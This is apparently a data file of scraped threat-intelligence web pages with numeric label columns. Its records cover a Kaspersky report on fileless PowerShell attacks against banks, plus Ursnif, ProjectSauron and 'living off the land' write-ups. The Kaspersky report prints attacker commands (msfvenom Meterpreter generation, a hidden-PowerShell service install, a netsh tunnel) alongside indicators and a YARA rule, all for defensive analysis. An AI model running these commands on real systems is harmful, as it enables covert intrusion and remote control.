Kaspersky Lab products detect all variants of this malware? All Kaspersky Lab products detect ProjectSauron samples as HEUR:Trojan.Multi.Remsec.gen 25. Are there Indicators of Compromise (IOCs) to help victims identify the intrusion? ProjectSauron\xe2\x80\x99s tactics are designed to avoid creating patterns. Implants and infrastructure are customized for each individual target and never re-used \xe2\x80\x93 so the standard security approach of publishing and checking for the same basic indicators of compromise (IOC) is of little use. However, structural code similarities are inevitable, especially for non-compressed and non-encrypted code. This opens up the possibility of recognizing known code in some cases. That\xe2\x80\x99s why, alongside the formal IOCs, we have added relevant YARA rules. While the IOCs have been listed mainly to give examples of what they look like, the YARA rules are likely to be of greater use and could detect real traces of ProjectSauron. For background: YARA is a tool for uncovering malicious files or patterns of suspicious activity on systems or networks that share similarities. YARA rules\xe2\x80\x94basically search strings\xe2\x80\x94help analysts to find, group, and categorize related malware samples and draw connections between them in order to build malware families and uncover groups of attacks that might otherwise go unnoticed. We have prepared our YARA rules based on tiny similarities and oddities that stood out in the attackers\xe2\x80\x99 techniques. These rules can be used to scan networks and systems for the same patterns of code. If some of these oddities appear during such a scan, there is a chance that the organizations has been hit by the same actor. More information about ProjectSauron is available to customers of Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com APT Cyber espionage Nation State Sponsored Espionage ProjectSauron Spyware Targeted Attacks Share post on: Facebook Twitter Related Posts Threats to macOS users Incident Response report 2018 IT threat evolution Q2 2019 There are 4 comments Patrick Posted on August 8, 2016. 6:28 pm I left a similar comment on Facebook, but I thought I\xe2\x80\x99d point it out here as well: The scripting language\xe2\x80\x99s name is Lua, not LUA. Here\xe2\x80\x99s what they have to say about it: \xe2\x80\x9cLua\xe2\x80\x9d (pronounced LOO-ah) means \xe2\x80\x9cMoon\xe2\x80\x9d in Portuguese. As such, it is neither an acronym nor an abbreviation, but a noun. More specifically, \xe2\x80\x9cLua\xe2\x80\x9d is a name, the name of the Earth\xe2\x80\x99s moon and the name of the language. Like most names, it should be written in lower case with an initial capital, that is, \xe2\x80\x9cLua\xe2\x80\x9d. Please do not write it as \xe2\x80\x9cLUA\xe2\x80\x9d, which is both ugly and confusing, because then it becomes an acronym with different meanings for different people. So, please, write \xe2\x80\x9cLua\xe2\x80\x9d right! Reply Nolan Berry Posted on August 9, 2016. 5:03 pm I gave a talk this week at DefCon Skytalks on more advanced DNS Exfil and C&C interesting to see this come up so soon. Reply Shachar2 Posted on August 10, 2016. 11:18 am can\xe2\x80\x99t wait for the documentary about the project in 50 years time\xe2\x80\xa6 Reply Igor Posted on March 14, 2018. 5:12 pm LUA is an ugly scripting language, so people can capitalize it the way they want. Go Kaspersky! Reply Leave a Reply Cancel Reply Your email address will not be published. Required fields are marked * Name * Email * Save my name, email, and website in this browser for the next time I comment. \xc2 Notify me when new comments are added. \xc2 In the same category Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities GreyEnergy\xe2\x80\x99s overlap with Zebrocy A Zebrocy Go Downloader APT review of the year DarkPulsar FAQ \xc2\xa9 2019 AO Kaspersky Lab. All Rights Reserved. Registered trademarks and service marks are the property of their respective owners. Contact us | Privacy Policy | License Agreement * * I agree to provide my email address to \xe2\x80\x9cAO Kaspersky Lab\xe2\x80\x9d to receive information about new posts on the site. I understand that I can withdraw this consent at any time via e-mail by clicking the \xe2\x80\x9cunsubscribe\xe2\x80\x9d link that I find at the bottom of any e-mail sent to me for the purposes mentioned above. Twitter Facebook LinkedIn YouTube RSS Email","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Fileless attacks against enterprise networks | Securelist Solutions for: Home Products Small Business 1-50 employees Medium Business 51-999 employees Enterprise 1000+ employees Kaspersky CompanyAccount Get In Touch Solutions Endpoint SecurityLearn More Hybrid Cloud SecurityLearn More Internet of Things & Embedded SecurityLearn More Threat Management and DefenseLearn More Industrial CybersecurityLearn More Fraud PreventionLearn More Industries National CybersecurityLearn More Industrial CybersecurityLearn More Finance Services CybersecurityLearn More Healthcare CybersecurityLearn More Transportation CybersecurityLearn More Retail CybersecurityLearn More Other Industries Telecom Cybersecurity View all Products KasperskyEndpoint SecurityLearn More KasperskyEndpoint Detection and ResponseLearn More KasperskyHybrid Cloud SecurityLearn More KasperskyAnti Targeted Attack PlatformLearn More KasperskyPrivate Security NetworkLearn More KasperskyEmbedded Systems SecurityLearn More Other Products Kaspersky Security for Mail Server Kaspersky DDoS Protection Kaspersky Mobile Security Kaspersky Security for Storage View All Services KasperskyCybersecurity ServicesLearn More KasperskySecurity AwarenessLearn More KasperskyPremium SupportLearn More KasperskyThreat IntelligenceLearn More KasperskyThreat HuntingLearn More KasperskyIncident ResponseLearn More Other Services Kaspersky Professional Services Kaspersky Security Assessment Kaspersky Security Training Kaspersky Advanced Cyber Incident Communications View All Resource Center Case Studies White Papers Datasheets Technologies Contact Us GDPR Menu Securelist English English P\xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 Deutsch Fran\xc3\xa7ais Italiano Espa\xc3\xb1ol Polski Threats Mobile threats Secure environment (IoT) Financial threats Spam and phishing Industrial threats Vulnerabilities and exploits Web threats Categories APT reports Research Incidents Security Bulletin Publications Malware reports Spam and phishing reports All categories Tags Ransomware Targeted Attacks Botnets Internet Banking Mobile Malware Social Engineering Malware Statistics Show all tags Statistics Encyclopedia Descriptions Solutions for: Home Users Products KasperskyTotal Security KasperskyInternet Security KasperskyAnti-Virus KasperskyInternet Security for Mac Kaspersky Internet Security for Android KasperskySecure Connection Free Tools Kaspersky Safe Kids Kaspersky Password Manager Kaspersky Software Updater View more Renew Downloads Support Resource Center My Kaspersky My Devices My Products / Subscriptions My Orders Small Business(1-50 employees) Products KasperskySmall Office Security KasperskyEndpoint Security Cloud KasperskyEndpoint Security for Business Select KasperskyEndpoint Security for Business Advanced Renew Downloads Support Resource Center Insights Products & Solutions Customer Stories Awards & Recognition Technology GDPR KSOS Portal Medium Business(51-999 employees) Products KasperskyEndpoint Security Cloud KasperskySecurity for Office 365 KasperskyEndpoint Security for Business Select KasperskyEndpoint Security for Business Advanced KasperskySecurity for Business Total KasperskyPhysical, Virtual & Cloud Workloads Security TARGETED SECURITY SOLUTIONS Mail Server File Server Mobile Internet Gateway Virtualization and Hybrid Cloud Collaboration Vulnerability and Patch Management Storage View More Services Downloads Support Resource Center Insights Products & Solutions Customer Stories Awards & Recognition Technology GDPR CompanyAccount Enterprise(1000+ employees) Solutions Endpoint Security Hybrid Cloud Security Internet of Things & Embedded Security Threat Management and Defense Industrial Cybersecurity Fraud Prevention Industries National Cybersecurity Industrial Cybersecurity Finance Services Cybersecurity Healthcare Cybersecurity Transportation Cybersecurity Retail Cybersecurity Other industries Telecom Cybersecurity View all Products KasperskyEndpoint Security KasperskyEndpoint Detection and Response KasperskyHybrid Cloud Security KasperskyAnti Targeted Attack Platform KasperskyPrivate Security Network KasperskyEmbedded Systems Security Other products Kaspersky Security for Mail Server Kaspersky DDoS Protection Kaspersky Mobile Security Kaspersky Security for Storage View all Services KasperskyCybersecurity Services KasperskySecurity Awareness KasperskyPremium Support KasperskyThreat Intelligence KasperskyThreat Hunting KasperskyIncident Response Other Services Kaspersky Professional Services Kaspersky Security Assessment Kaspersky Security Training Kaspersky Advanced Cyber Incident Communications View all Resource Center Case Studies White Papers Datasheets Technologies Contact Us GDPR CompanyAccount Securelist Threats Financial threats Mobile threats Web threats Secure environment (IoT) Vulnerabilities and exploits Spam and Phishing Industrial threats Categories APT reports Incidents Research Malware reports Spam and phishing reports Kaspersky Security Bulletin Publications Tags Ransomware Botnets Mobile Malware Social Engineering Targeted Attacks Malware Statistics All Tags Statistics Encyclopedia Descriptions Partners Partners Find a Partner Affiliate Technology Whitelist Program About Us About Us Company Team Transparency Transparency Center Policy Blog Corporate News Press Center Careers Incubator Sponsorships Research Fileless attacks against enterprise networks By GReAT on February 8, 2017. 8:58 am Contents Description Features Victims Attribution Conclusions Appendix I \xe2\x80\x93 Indicators of Compromise Appendix II \xe2\x80\x93 Yara Rules During incident response, a team of security specialists needs to follow the artefacts that attackers have left in the network. Artefacts are stored in logs, memories and hard drives. Unfortunately, each of these storage media has a limited timeframe when the required data is available. One reboot of an attacked computer will make memory acquisition useless. Several months after an attack the analysis of logs becomes a gamble because they are rotated over time. Hard drives store a lot of needed data and, depending on its activity, forensic specialists may extract data up to a year after an incident. That\xe2\x80\x99s why attackers are using anti-forensic techniques (or simply SDELETE) and memory-based malware to hide their activity during data acquisition. A good example of the implementation of such techniques is Duqu2. After dropping on the hard drive and starting its malicious MSI package it removes the package from the hard drive with file renaming and leaves part of itself in the memory with a payload. That\xe2\x80\x99s why memory forensics is critical to the analysis of malware and its functions. Another important part of an attack are the tunnels that are going to be installed in the network by attackers. Cybercriminals (like Carbanak or GCMAN) may use PLINK for that. Duqu2 used a special driver for that. Now you may understand why we were very excited and impressed when, during an incident response, we found that memory-based malware and tunnelling were implemented by attackers using Windows standard utilities like \xe2\x80\x9cSC\xe2\x80\x9d and \xe2\x80\x9cNETSH\xe2\x80\x9c. Description This threat was originally discovered by a bank\xe2\x80\x99s security team, after detecting Meterpreter code inside the physical memory of a domain controller (DC). Kaspersky Lab\xe2\x80\x99s product detection names for such kinds of threat are MEM:Trojan.Win32.Cometer and MEM:Trojan.Win32.Metasploit. Kaspersky Lab participated in the forensic analysis after this attack was detected, discovering the use of PowerShell scripts within the Windows registry. Additionally it was discovered that the NETSH utility as used for tunnelling traffic from the victim\xe2\x80\x99s host to the attacker\xc2\xb4s C2. We know that the Metasploit framework was used to generate scripts like the following one: This script allocates memory, resolves WinAPIs and downloads the Meterpreter utility directly to RAM. These kind of scripts may be generated by using the Metasploit Msfvenom utility with the following command line options: msfvenom -p windows/meterpreter/bind_hidden_tcp AHOST=10.10.1.11 -f psh-cmd After the successful generation of a script, the attackers used the SC utility to install a malicious service (that will execute the previous script) on the target host. This can be done, for example, using the following command: sc \\target_name create ATITscUA binpath= \xe2\x80\x9cC:Windowssystem32cmd.exe /b /c start /b /min powershell.exe -nop -w hidden e aQBmACgAWwBJAG4AdABQAHQA\xe2\x80\xa6\xe2\x80\x9d start= manual The next step after installing the malicious service would be to set up tunnels to access to the infected machine from remote hosts, for example using the following command: netsh interface portproxy add v4tov4 listenport=4444 connectaddress=10.10.1.12 connectport=8080 listenaddress=0.0.0.0 That would result in all network traffic from 10.10.1.11:4444 being forwarded to 10.10.1.12:8080. This technique of setting up proxy tunnels will provide the attackers with the ability to control any PowerShell infected host from remote Internet hosts. The use of the \xe2\x80\x9cSC\xe2\x80\x9d and \xe2\x80\x9cNETSH\xe2\x80\x9d utilities requires administrator privileges both in local and remote host. The use of malicious PowerShell scripts also requires privilege escalation and execution policy changes. In order to achieve this, attackers used credentials from Service accounts with administrative privileges (for example backup, service for remote task scheduler, etc.) grabbed by Mimikatz. Features The analysis of memory dumps and Windows registries from affected machines allowed us to restore both Meterpreter and Mimikatz. These tools were used to collect passwords of system administrators and for the remote administration of infected hosts. In order to get the PowerShell payload used by the attackers from the memory dumps, we used the following BASH commands: cat mal_powershell.ps1_4 | cut -f12 -d\xe2\x80\x9d \xe2\x80\x9d | base64 -di | cut -f8 -d\xe2\x80\x99 | base64 -di | zcat \xe2\x80\x93 | cut -f2 -d( | cut -f2 -d\xe2\x80\x9d | less | grep / | base64 -di | hd Resulting in the following payload: Part of a code responsible for downloading Meterpreter from \xe2\x80\x9cadobeupdates.sytes[.]net\xe2\x80\x9d Victims Using the Kaspersky Security Network we found more than 100 enterprise networks infected with malicious PowerShell scripts in the registry. These are detected as Trojan.Multi.GenAutorunReg.c and HEUR:Trojan.Multi.Powecod.a. The table below show the number of infections per country. However we cannot confirm that all of them were infected by the same attacker. Attribution During our analysis of the affected bank we learned that the attackers had used several third level domains and domains in the .GA, .ML, .CF ccTLDs. The trick of using such domains is that they are free and missing WHOIS information after domain expiration. Given that the attackers used the Metasploit framework, standard Windows utilities and unknown domains with no WHOIS information, this makes attribution almost impossible. This closest groups with the same TTPs are GCMAN and Carbanak. Conclusions Techniques like those described in this report are becoming more common, especially against relevant targets in the banking industry. Unfortunately the use of common tools combined with different tricks makes detection very hard. In fact, detection of this attack would be possible in RAM, network and registry only. Please check the Appendix I \xe2\x80\x93 Indicators of Compromise section for more details on how to detect malicious activity related to this fileless PowerShell attack. After successful disinfection and cleaning, it is necessary to change all passwords. This attack shows how no malware samples are needed for successful exfiltration of a network and how standard and open source utilities make attribution almost impossible. Further details of these attacks and their objectives will be presented at the Security Analyst Summit, to be held on St. Maarten from 2 to 6 April, 2017. More information about this attack is available to customers of Kaspersky APT Intelligence Services. For a subscription inquiry, contact: intelreports (at) kaspersky [dot] com. Appendix I \xe2\x80\x93 Indicators of Compromise To find the host used by an attacker using the technique described for remote connections and password collection, the following paths in the Windows registry should be analyzed: HKLMSYSTEMControlSet001services \xe2\x80\x93 path will be modified after using the SC utility HKLMSYSTEMControlSet001servicesPortProxyv4tov4tcp \xe2\x80\x93 path will be modified after using the NETSH utility In unallocated space in the Windows registry, the following artefacts might be found: powershell.exe -nop -w hidden -e 10.10.1.12/8080 10.10.1.11/4444 Please note that these IPs are taken from the IR case in which we participated, so there could be any other IP used by an eventual attacker. These artefacts indicate the use of PowerShell scripts as a malicious service and the use of the NETSH utility for building tunnels. Verdicts: MEM:Trojan.Win32.Cometer MEM:Trojan.Win32.Metasploit Trojan.Multi.GenAutorunReg.c HEUR:Trojan.Multi.Powecod Appendix II \xe2\x80\x93 Yara Rules rule msf_or_tunnel_in_registry { strings: $port_number_in_registry = ""/4444"" $hidden_powershell_in_registry = ""powershell.exe -nop -w hidden"" wide condition: uint32(0)==0x66676572 and any of them } 1 2 3 4 5 6 7 8 rule msf_or_tunnel_in_registry { strings: \xc2 \xc2 $port_number_in_registry = ""/4444"" \xc2 \xc2 $hidden_powershell_in_registry = ""powershell.exe -nop -w hidden"" wide\xc2 \xc2 \xc2 \xc2 condition: uint32(0)==0x66676572 and any of them } APT Cybercrime fileless malware PowerShell Share post on: Facebook Twitter Related Posts Incident Response report 2018 IT threat evolution Q2 2019 Recent Cloud Atlas activity There are 9 comments nagendra Posted on February 8, 2017. 7:36 pm Very good info Reply John Mccane Posted on February 8, 2017. 11:58 pm Can you post the sample\xe2\x80\x99s hashes please ? Reply Cyber2 Posted on February 9, 2017. 2:33 pm Could you please leave contact information or something for us to contact you regarding the report? I work at large US financial institutions and would love to discuss this in more detail with you as soon as possible. Reply NICKNAME2 Posted on February 10, 2017. 12:42 pm How they enter the corporate network? Reply Chaz Yonez Posted on February 10, 2017. 5:06 pm While Kaspersky hasn\xe2\x80\x99t disclosed those victimized, and understand the reasoning, I bring up the supposition, \xe2\x80\x9cHow many of those were running CarbonBlack/Bit9, if any?\xe2\x80\x9d Supposedly this vendor would have detected nefarious use of powershell (not convinced). Reply JL Posted on February 12, 2017. 4:16 pm Is is unclear this could be hardened against by implementing Pass-The-Hash/Ticket/Credential hardening guides and/or patches. This does at least require manual work to harden against. Reply ShakingMyHead Posted on February 13, 2017. 8:01 pm @John Mccane What about \xe2\x80\x9cfileless\xe2\x80\x9d don\xe2\x80\x99t you understand? If you want the has of a string of text you can generate that from your terminal. Reply Mr. X Posted on February 14, 2017. 1:55 pm HKLM\\SYSTEM\\ControlSet001\\services\\ \xe2\x80\x93 path will be modified after using the SC utility HKLM\\SYSTEM\\ControlSet001\\services\\PortProxy\\v4tov4\\tcp \xe2\x80\x93 path will be modified after using the NETSH utility I think these paths can only edit by an admin-user? Which corporate has local user with admin rights? Reply Mr. Y Posted on February 15, 2017. 9:52 am @Mr.X \xe2\x80\x93 Read the article! \xe2\x80\x9cIn order to achieve this, attackers used credentials from Service accounts with administrative privileges (for example backup, service for remote task scheduler, etc.) grabbed by Mimikatz.\xe2\x80\x9d Reply Leave a Reply Cancel Reply Your email address will not be published. Required fields are marked * Name * Email * Save my name, email, and website in this browser for the next time I comment. \xc2 Notify me when new comments are added. \xc2 In the same category How to Attack and Defend a Prosthetic Arm ATM robber WinPot: a slot machine instead of cutlets Razy in search of cryptocurrency Remotely controlled EV home chargers \xe2\x80\x93 the threats and vulnerabilities Zero-day in Windows Kernel Transaction Manager (CVE-2018-8611) \xc2\xa9 2019 AO Kaspersky Lab. All Rights Reserved. Registered trademarks and service marks are the property of their respective owners. Contact us | Privacy Policy | License Agreement * * I agree to provide my email address to \xe2\x80\x9cAO Kaspersky Lab\xe2\x80\x9d to receive information about new posts on the site. I understand that I can withdraw this consent at any time via e-mail by clicking the \xe2\x80\x9cunsubscribe\xe2\x80\x9d link that I find at the bottom of any e-mail sent to me for the purposes mentioned above. Twitter Facebook LinkedIn YouTube RSS Email","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Ursnif \xe2\x80\x94 NJCCIC Home Report ABOUT Threat Center Resources Join Back Report Incidents Report Data Breaches Contact Us Back Our Mission Leadership Back Alerts and Advisories Public Data Breaches Threat Profiles Cyber Alert Indicator Threat Analysis This is Security Be Sure to Secure Back Citizens Businesses Government Best Practices Outreach Election Security Email Encryption FAQ Glossary Back Membership Internships Home Report Report Incidents Report Data Breaches Contact Us ABOUT Our Mission Leadership Threat Center Alerts and Advisories Public Data Breaches Threat Profiles Cyber Alert Indicator Threat Analysis This is Security Be Sure to Secure Resources Citizens Businesses Government Best Practices Outreach Election Security Email Encryption FAQ Glossary Join Membership Internships New Jersey Cybersecurity and Communications Integration Cell Ursnif The Ursnif trojan is one of the most active and prevalent variants of the Gozi malware, also known as Dreambot. The trojan is often spread by exploit kits, email attachments, and malicious links. Ursnif has continued to evolve over the last few months, adding Tor and peer-to-peer (P2P) capabilities in July 2016. Though the function exists, few of the Ursnif samples use the Tor network as their primary mode of communication with the C2 infrastructure. When the Angler exploit kit was widely used, it was used to deliver the Ursnif trojan. In May, Ursnif was delivered in a malvertising campaign by the Neutrino exploit kit. In August, the trojan was delivered by the RIG exploit kit. Ursnif has been delivered by email throughout 2016 and targeted users in the United States, Australia, Canada, Italy, Poland, Switzerland, and the United Kingdom. The attackers used Microsoft Word attachments with malicious macros to distribute Ursnif to US victims. Reporting August 2016: Dreambot is delivered by the RIG exploit kit. (BroadAnalysis) August 2016: Dreambot trojan adds Tor and peer-to-peer functionality. (Proofpoint) September 2016: Dreambot, also known as Ursnif, is now capable of sandbox evasion to avoid detection. (Softpedia) January 2017: In an early 2017 spam campaign, ZIP attachments that contained SVG files would execute and initiate an EXE file. This file installs the Ursnif banking trojan. (Bleeping Computer) October 2017: New Malicious Macro Evasion Tactics Exposed in URSNIF Spam Mail. (Trend Micro) November 2017: Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. (FireEye) November 2018: Threat actors are deploying new tactic of inserting malicious URLs within Office document embedded videos to deliver the Ursnif trojan. (Trend Micro) August 2019: A new variant is spreading via malicious Word documents and targeting Windows machines to steal bank details and other personal information. (ZDNet) Technical Details Proofpoint provides technical details on the Dreambot/Ursnif trojan, available here. via Proofpoint via SCMagazine Trojan VariantsNJCCICSeptember 27, 2016Dreambot, Ursnif Facebook0 Twitter LinkedIn0 Reddit Previous Odinaff Trojan VariantsNJCCICOctober 13, 2016Odinaff Next Irc Trojan VariantsNJCCICSeptember 21, 2016Linux.Backdoor.Irc.16 \xc2 NJ CYBERSECURITY & COMMUNICATIONS INTEGRATION CELL PO Box 091 Trenton, NJ 08625 A DIVISION OF THE NJ OFFICE OF HOMELAND SECURITY & PREPAREDNESS \xc2 \xc2 CONTACT US Email: njccic@cyber.nj.gov Phone: 1-833-4-NJCCIC (1-833-465-2242) Press ReleasesReportSubscribeLegal Statement & DisclaimersOPRA \xc2\xa9 2015-2019 State of New Jersey. All Rights Reserved. \xc2 Reference in this site to any specific commercial product, process, or service, or the use of any trade, firm or corporation name is for the information and convenience of the public, and does not constitute endorsement, recommendation, or favoring by the NJCCIC and the State of New Jersey. \xc2","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Emergency Incident ResponseReport a Confirmed or Potential Breach? Call +1 770-870-6343 Blog Contact Support Login Secureworks Products Solutions Services Why Secureworks Insights Company Blog Living Off the Land Living Off the Land THURSDAY, MAY 28, 2015 BY: COUNTER THREAT UNIT RESEARCH TEAM In over half of the targeted threat response engagements performed by the Dell SecureWorks Counter Threat Unit\xe2\x84\xa2 Special Operations (CTU-SO) team in the past year, the threat actors accessed the target environment using compromised credentials and the companies' own virtual private network (VPN) or other remote access solutions. Detecting threat actors who are ""living off the land,"" using credentials, systems, and tools they collect along the way instead of backdoors, can be challenging for organizations that focus their instrumentation and controls primarily on the detection of malware and indicators such as command and control IP addresses, domains, and protocols. With their gaps in visibility, these organizations can have a very difficult time distinguishing adversary activity from that of legitimate users, pushing detection times out to weeks, months, or even years. Recently, CTU researchers responded to an intrusion perpetrated by Threat Group-1314[1] (TG-1314), one of numerous threat groups that employ the ""living off the land"" technique to conduct their intrusions. In this case, the threat actors used compromised credentials to log into an Internet-facing Citrix server to gain access to the network. CTU researchers discovered evidence that the threat actors were not only leveraging the company's remote access infrastructure, but were also using the company's endpoint management platform, Altiris, to move laterally through the network (see Figure 1). Figure 1. TG-1314 actions on objective. (Source: Dell SecureWorks) Analysis Memory collection and analysis can be an extremely valuable component of an incident response plan and in this case proved crucial in identifying TG-1314's actions on objective. Memory collected from systems involved in the intrusion was analyzed using the Volatility framework. First, Volatility's pstree plugin, which lists running processes in a tree view, was executed. The result immediately revealed signs of a suspicious cmd.exe process running as a child of the ACLIENT.EXE process (see Figure 2). Figure 2. Suspicious cmd.exe process. (Source: Dell SecureWorks) In an attempt to recover commands that had been executed via this command prompt, Volatility's cmdscan plugin was run on the memory dump (see Figure 3). Figure 3. Suspicious commands recovered from memory. (Source: Dell SecureWorks) CTU researchers immediately recognized suspicious commands, such as changing the working directory to recycler and executing commands from that location, that were unlikely to have been connected to legitimate system administrator operations. The results also revealed indications that PsExec, a popular system administration tool for executing commands on remote systems, was run against several target hosts to spawn shells on them. To better understand how the adversary was operating and what other actions they had performed, CTU researchers examined cmd.exe and its supporting processes to uncover additional command line artifacts. While cmd.exe is a console application, it still requires GUI-like functionality and other support to interact with the operating system. On the Windows XP platform, this support is provided by the csrss.exe process. Because commands run from cmd.exe are acted on by csrss.exe, additional evidence of command history and responses sent to the cmd console window are often discoverable by analyzing the csrss.exe process's memory. The output in Figure 3 shows the Process ID (PID) of the csrss.exe process to be 716. Running Volatility's vaddump plugin on this process allowed CTU researchers to obtain the Virtual Address Descriptor (VAD) sections (see Figure 4). Figure 4. Output from vaddump. (Source: Dell SecureWorks) The relevant strings inside the VAD sections were UTF-16 encoded and revealed additional insights once extracted. TG-1314 was mapping network drives using a compromised Altiris account to connect to additional systems[2] (see Figure 5). Figure 5. Net use command. (Source: Dell SecureWorks) After identifying compromised credentials and executed commands, CTU researchers shifted focus to determine how the threat actors were obtaining the shell and executing their commands on the compromised host. This exploration required a look at the suspect cmd.exe's parent process, shown earlier in the investigation to be ACLIENT.EXE. Volatility's procdump command was used to dump the executable from memory (see Figure 6). Figure 6. Output from procdump plugin. (Source: Dell SecureWorks) As shown in Figure 7, running the strings utility against the dumped ACLIENT.EXE binary revealed evidence that the file was the Altiris agent. Figure 7. Output from strings plugin. (Source: Dell SecureWorks) These results indicated that the threat actors leveraged the Altiris management platform installed at the client site, along with compromised domain credentials associated with the Altiris system, to move laterally within the compromised environment. Conclusion Threat groups often follow a path of least resistance to achieve their objective. They will leverage legitimate remote access solutions for entry and valid system administrator tools for lateral movement, if possible. To help disrupt this tactic, it is important that organizations implement two-factor authentication for all remote access solutions and consider doing the same for internal, high-value assets like their internal system management consoles. CTU researchers assess with high confidence that threat groups like TG-1314 will continue to live off of the land to avoid detection and conduct their operations. [1] The Dell SecureWorks Counter Threat Unit\xe2\x84\xa2 (CTU) research team tracks threat groups by assigning them four-digit randomized numbers (1314 in this case), and compiles information from external sources and from first-hand incident response observations. [2] One limitation of collecting strings from the VAD of the csrss.exe process is that there is no temporal information. Enjoyed what you read? Share it! RELATED CONTENT LYCEUM takes center stage in Middle East campaign BLOG LYCEUM Takes Center Stage in Middle East Campaign Counter Threat Unit\xe2\x84\xa2 Research Team COBALT DICKENS Goes Back to School\xe2\x80\xa6Again BLOG COBALT DICKENS Goes Back to School\xe2\x80\xa6Again Counter Threat Unit\xe2\x84\xa2 Research Team TrickBot modifications target U.S. mobile users BLOG TrickBot Modifications Target U.S. Mobile Users Counter Threat Unit\xe2\x84\xa2 Research Team LYCEUM takes center stage in Middle East campaign BLOG LYCEUM Takes Center Stage in Middle East Campaign Counter Threat Unit\xe2\x84\xa2 Research Team COBALT DICKENS Goes Back to School\xe2\x80\xa6Again BLOG COBALT DICKENS Goes Back to School\xe2\x80\xa6Again Counter Threat Unit\xe2\x84\xa2 Research Team LinkedInTwitterFacebookGitHub Careers RSS Feed Manage Subscriptions Sitemap Privacy Policy Supply Chain Transparency Terms & Conditions Dell Technologies English \xc2\xa9 2019 SecureWorks, Inc.","0","1","0","1","1","1","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1" -"CB TAU Threat Intelligence Notification: JCry Ransomware Pretends to be Adobe Flash Player Update Installer | Carbon Black Cb Connect 2018 | Power of You | #CBCONNECT2018 Check out the livestream here Products Products Consolidated Cloud Platform CB Predictive Security Cloud Cloud-Native Endpoint Protection Platform (EPP) Superior Protection Actionable Insights Simplified Operations Cloud Services CB Defense Next-Generation Antivirus + EDR CB ThreatHunter NEW! Advanced Threat Hunting and Incident Response CB LiveOps Real-Time Endpoint Query and Remediation CB ThreatSight Managed Alert Monitoring and Triage CB Defense for VMware Secure Virtualized Data Centers Specialized Environments CB Response Threat Hunting + IR for SOC Teams CB Protection Application Control and Infrastructure Protection Solutions Solutions By Use Case Next-Generation Antivirus Enterprise AV Replacement Ransomware Protection Securing Key Virtualized Infrastructure Malware & Non-Malware Protection Risk & Compliance \xc2 Threat Hunting Incident Response Locking Down Critical Systems POS, Fixed Function & Industrial Control Systems By Industry Finance Federal Government Healthcare Manufacturing Oil, Gas & Utilities Retail & Hospitality Small Business Partners Partners About Partners Carbon Black Partner Program Find a Partner Become a Partner For Existing Partners Partner Portal Login Integration Integration Network Open APIs Resources Resources Learn Resource Library Webinars Customer Success Stories Threat Research Definitions Open Source Tools Free Video Series Onboarding Training Services Support Product Security Connect Community Blog Company Company Why Carbon Black? Overview Awards & Recognition Certifications & Public Testing Product Reviews Comparisons Threat Analysis Unit Company About 